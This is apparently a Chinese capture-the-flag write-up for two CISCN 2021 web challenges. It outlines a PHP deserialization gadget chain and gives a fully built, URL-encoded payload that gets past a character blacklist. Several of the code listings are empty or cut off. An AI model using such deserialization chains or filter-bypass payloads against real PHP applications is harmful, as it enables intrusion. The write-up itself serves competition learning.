ciscn2021半决赛-华南赛区
easy_seri
16进制去绕过一个完全用不到的key,无用。后想到静态调用得到demo.php源码
1 | $a = 'Test::getHint'; |
demo.php源码
1 |
|
明显调用通过__destruct
调用fake中的__set
去动态调用OwO中的run
,__destruct中的$a
就是作为回调函数的数组$firm
,数组的第一个值为OwO对象,第二个值为function名字run,既可以动态调用run函数,构造Temp中的action变量,序列化后传入。
1 | class Fake{ |
magicchar
代码审计+构造字母绕过
1.可以控制的参数是yell。
2.只允许ascii32-ascii126的字符。
3.过滤了大写字母(除了W)和[等字符。
4.开启了数据缓冲区,out变量将数据缓冲区的内容读出。
5.out变量等于Wa4nn就可以打印flag。
过程:利用之前做题目保留的构造字母笔记,通过黑名单外其他字符,构造出了a和4和nn
4:
1 | (((4).(0)){0}) |
a:
1 | (((((0/0).(0)){1})|(((-2).(1)){0})&(((1).(0)){0}))) |
nn:
1 | (((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0})))&((((0/0).(0)){1})|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))|(((999**999).(1)){1})).(((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0})))&((((0/0).(0)){1})|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))|(((999**999).(1)){1})) |
将W和a4nn拼接起来
1 | W.(((((0/0).(0)){1})|(((-2).(1)){0})&(((1).(0)){0}))).(((4).(0)){0}).(((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0})))&((((0/0).(0)){1})|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))|(((999**999).(1)){1})).(((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0})))&((((0/0).(0)){1})|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))|(((999**999).(1)){1})) |
再进行url编码构成payload
1 | %57%2e%28%28%28%28%28%30%2f%30%29%2e%28%30%29%29%7b%31%7d%29%7c%28%28%28%2d%32%29%2e%28%31%29%29%7b%30%7d%29%26%28%28%28%31%29%2e%28%30%29%29%7b%30%7d%29%29%29%2e%28%28%28%34%29%2e%28%30%29%29%7b%30%7d%29%2e%28%28%28%28%28%39%39%39%2a%2a%39%39%39%29%2e%28%31%29%29%7b%32%7d%29%7c%28%28%28%28%34%29%2e%28%30%29%29%7b%30%7d%29%26%28%28%28%2d%31%29%2e%28%30%29%29%7b%30%7d%29%29%29%26%28%28%28%28%30%2f%30%29%2e%28%30%29%29%7b%31%7d%29%7c%28%28%28%28%32%29%2e%28%30%29%29%7b%30%7d%29%26%28%28%28%28%2d%31%29%2e%28%30%29%29%7b%30%7d%29%7c%28%28%28%39%39%39%2a%2a%39%39%39%29%2e%28%31%29%29%7b%31%7d%29%29%29%29%7c%28%28%28%39%39%39%2a%2a%39%39%39%29%2e%28%31%29%29%7b%31%7d%29%29%2e%28%28%28%28%28%39%39%39%2a%2a%39%39%39%29%2e%28%31%29%29%7b%32%7d%29%7c%28%28%28%28%34%29%2e%28%30%29%29%7b%30%7d%29%26%28%28%28%2d%31%29%2e%28%30%29%29%7b%30%7d%29%29%29%26%28%28%28%28%30%2f%30%29%2e%28%30%29%29%7b%31%7d%29%7c%28%28%28%28%32%29%2e%28%30%29%29%7b%30%7d%29%26%28%28%28%28%2d%31%29%2e%28%30%29%29%7b%30%7d%29%7c%28%28%28%39%39%39%2a%2a%39%39%39%29%2e%28%31%29%29%7b%31%7d%29%29%29%29%7c%28%28%28%39%39%39%2a%2a%39%39%39%29%2e%28%31%29%29%7b%31%7d%29%29 |